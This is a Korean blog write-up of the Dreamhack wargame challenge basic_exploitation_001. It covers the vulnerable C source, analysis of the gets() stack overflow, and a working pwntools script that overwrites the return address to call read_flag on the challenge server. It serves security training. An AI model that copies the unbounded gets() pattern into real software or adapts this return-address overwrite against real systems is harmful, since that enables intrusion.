드림핵 System Hacking 워게임 basic_exploitation_001 문제이다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
1. 프로그램 분석
- 크기가 128 바이트인 버퍼에 gets로 입력받은 문자열을 저장하는 프로그램이다.
- 아키텍처는 "i386"인 32비트이다.
2. 취약점 분석
- gets(buf)로 입력을 받는 것에서 취약점이 발생한다.
- gets 함수는 입력받는 길이에 제한이 없다.
- 버퍼의 크기보다 큰 데이터를 입력하여 반환 주소를 바꿔 실행 흐름을 조작할 수 있다.
3. 풀이
크기가 128 바이트인 버퍼의 길이보다 길게 입력하면 버퍼 오버플로우가 발생하고 반환주소를 read_flag 주소로 덮어 flag 파일을 읽을 수 있다.
4. 익스플로잇
1) 먼저 main 함수의 스택 프레임의 구조를 구한다.
- 스택 프레임을 0x80만큼 할당한다.
- gets 함수의 인자로 가져오는 주소를 보고 buf의 위치를 알 수 있다. gets(buf)는 하나의 인자를 갖고 그 인자는 32비트 함수 호출 규약에 의해 스택에 push 된다.
(main+20줄은 32비트 함수 호출 규약 cdecl에서 인자를 전달하기 위해 사용한 스택을 호출자(Caller)가 정리한다는 특징을 이용하여 gets에서 사용한 스택을 정리할 때 사용)
- 스택 프레임의 구조는 buf가 [ebp - 0x80]에 위치하고 ebp에 스택 프레임 포인터가 0x04만큼 있고 [ebp + 0x4]에는 return address가 있다.
2) return address에 덮을 read_flag 주소를 구한다.
- print를 사용하여 read_flag의 주소를 구할 수 있다. read_flag 주소는 0x80485b9이다. read_flag 주소는 p32를 사용하여 리틀 엔디언을 적용해야 한다.
3) 페이로드 구성
- return address를 read_flag 주소로 덮어야 하기 때문에 문자열을 입력할 때 오버플로우를 발생시켜 buf와 SFP를 쓰레기값으로 채우고 return address에 read_flag 주소를 덮어주면 된다.
4) 익스플로잇
from pwn import *
p = remote('host3.dreamhack.games', 16320)
context(arch='i386', os='linux')
# read_flag 주소
read_flag = 0x80485b9
# 페이로드 구성
payload = b"A"*0x80
payload += b"B"*0x4
payload += p32(read_flag)
# 페이로드 입력
p.sendline(payload)
p.interactive()
5. 결과
'Wargame > [DreamHack]System Hacking' 카테고리의 다른 글
[DreamHack] basic_exploitation_000 (0) | 2022.08.10 |
---|---|
[DreamHack] Return Address Overwrite (0) | 2022.08.10 |
[DreamHack] Shell_basic (0) | 2022.08.02 |